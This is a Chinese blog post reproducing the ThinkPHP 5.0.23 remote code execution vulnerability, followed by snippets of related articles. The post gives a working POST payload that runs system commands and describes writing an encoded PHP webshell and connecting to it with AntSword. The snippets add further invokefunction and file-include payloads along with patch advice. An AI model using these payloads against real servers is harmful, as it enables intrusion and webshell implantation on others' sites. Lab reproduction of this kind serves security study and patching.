ThinkPHP5 5.0.23远程代码执行漏洞复现

已于 2024-12-28 13:34:10 修改
阅读量6.8k 收藏 2
点赞数 4
分类专栏： 网络安全 文章标签： 安全
于 2022-03-28 16:22:21 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/weixin_52347768/article/details/123798450
版权

漏洞介绍：

ThinkPHP5.0.23版本的漏洞：获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。

漏洞复现+挂马：

使用御剑对网址进行扫描，进入到主页面

判断是否存在漏洞，访问/index.php?s=captcha页面，会出现报错

 使用hackbar插件发送post请求：执行whoami命令

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

会得到回显

通过echo命令写入webshell文件，但需要将一句话木马进行编码

发送post请求

访问shell.php页面，发现一句话木马被解析，使用蚁剑进行连接

 查看目录

 复现挂马完成

ThinkPHP 小于 5.0.24 远程代码执行高危漏洞 修复方案
易天海
06-09 1827
https://yq.aliyun.com/articles/686397
ThinkPHP5 5.0.23 远程代码执行漏洞复现-分析
zeroc009的博客
02-15 1947
漏洞简述 ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。 关键代码 @@ -522,8 +522,11 @@ public function method($method = false) return $this->server('REQUEST_METHOD') ?: 'GET'; } elseif (!
ThinkPHP 小于5.0.24 远程代码执行高危漏洞 修复方案
热门推荐
无限星辰的博客
01-12 1万+
漏洞描述 由于ThinkPHP5.0框架对Request类的method处理存在缺陷，导致黑客构造特定的请求，可直接GetWebShell。 漏洞评级 严重 影响版本 ThinkPHP 5.0系列 < 5.0.24 安全版本 ThinkPHP 5.0系列 5.0.24 ThinkPHP 5.1系列 5.1.31 安全建议 升级ThinkPHP至安全版本 修复方法1.打开 \thinkphp\...
PHP框架 ThinkPHP 漏洞探测分析
最新发布
浩策盾悟
03-27 6492
命令执行漏洞（Command Injection）是指攻击者通过Web应用向底层操作系统注入并执行任意命令的漏洞。通常发生在应用程序未对用户输入进行充分过滤，直接将其传递给系统命令执行函数时。
thinkphp5.0.23 远程代码执行复现
qq_38807738的博客
02-08 7196
漏洞影响版本5.0.23之前的版本 我使用的是vulhub下提供的漏洞环境，如何使用自行百度谷歌。 装好后打开网站如下   使用如下poc，即可实现远程代码执行 POST /index.php?s=captcha HTTP/1.1 Host: 你的id User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Ge...
ThinkPHP5.0.0~5.0.23路由控制不严谨导致的RCE
shelter1234567的博客
01-22 1450
本次我们继续以漏洞挖掘者的视角，来分析thinkphp的RCE。
记录一次vulhub:ThinkPHP5 5.0.23远程代码执行漏洞复现
sszsNo1的博客
06-26 404
复现vulhub：ThinkPHP5 5.0.23远程代码执行漏洞
复现ThinkPHP5 5.0.23远程代码执行漏洞
weixin_67813445的博客
03-14 506
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。
ThinkPHP5 5.0.23远程代码执行漏洞+webshell工具连接（复现详细过程）
m0_52701599的博客
03-17 3784
ThinkPHP5 5.0.23远程代码执行漏洞+webshell工具连接（复现详细过程）
ThinkPHP5 5.0.23-rce远程代码执行漏洞复现
A2893992091的博客
09-08 1139
其版本5中，由于框架对控制器名没有进行足够的检测，会导致在没有开启强制路由的情况下可执行任意方法，从而导致远程命令执行漏洞。通过echo命令写入 Webshell 文件,首先将一句话木马进行Base64 编码。判断是否存在漏洞：访问/index.php?s=captcha页面，会出现如下报错。切换目录到vulhub/thinkphp/5.0.23-rce下。使用HackBar 插件发送 POST 请求。端口为:8080,访问网站，搭建成功。访问shell.php，使用蚁剑连接。
ThinkPHP 5.0 远程代码执行漏洞分析
02-21
ThinkPHP 5.0 远程代码执行漏洞分析
ThinkPHP5小于5.0.24 远程代码执行高危漏洞 修复方案 bug修复
飙歌的博客
05-07 1052
漏洞描述由于ThinkPHP5.0框架对Request类的method处理存在缺陷，导致黑客构造特定的请求，可直接GetWebShell。 漏洞评级 严重 影响版本 ThinkPHP 5.0系列 < 5.0.24 安全版本 ThinkPHP 5.0系列 5.0.24 ThinkPHP 5.1系列 5.1.31 安全建议 升级ThinkPHP至安全版本 修复方法1.打开 \thi...
关于ThinkPHP 小于5.0.24 远程代码执行高危漏洞 修复方案
q469587851的博客
03-28 1190
漏洞描述 由于ThinkPHP5.0框架对Request类的method处理存在缺陷，导致黑客构造特定的请求，可直接GetWebShell。 漏洞评级 严重 影响版本 ThinkPHP 5.0系列 < 5.0.24 安全版本 ThinkPHP 5.0系列 5.0.24 ThinkPHP 5.1系列 5.1.31 安全建议 升级ThinkPHP至安全版本 修复方法1.打开 \thinkphp\...
thinkphp5的漏洞
https://www.cnblogs.com/zpchcbd/
04-10 1410
文件包含： http://ip/index.php?s=captcha&m=1 post提交： _method=__construct&filter[]=think__include_file&get[]=/home/www/test3/public/1.txt&method=get&server[]= 代码执行漏洞： http://bugbank.51vi...
ThinkPHP5远程命令执行漏洞
qq_45314073的博客
09-20 2210
thinkPHP5漏洞复现
ThinkPHP框架漏洞
qian_227的博客
06-25 293
在ThinkPHP5.0版本表单请求类型伪装中，通过$_POST['_method']来传递真实的请求方法，攻击者可以通过POST传递_method=__construct来对Request类的method方法进行覆盖。s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=命令参数。{ii}远程命令注入： 由于没有开启强制路由，未对路由的控制器进行过滤，导致远程命令执行。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值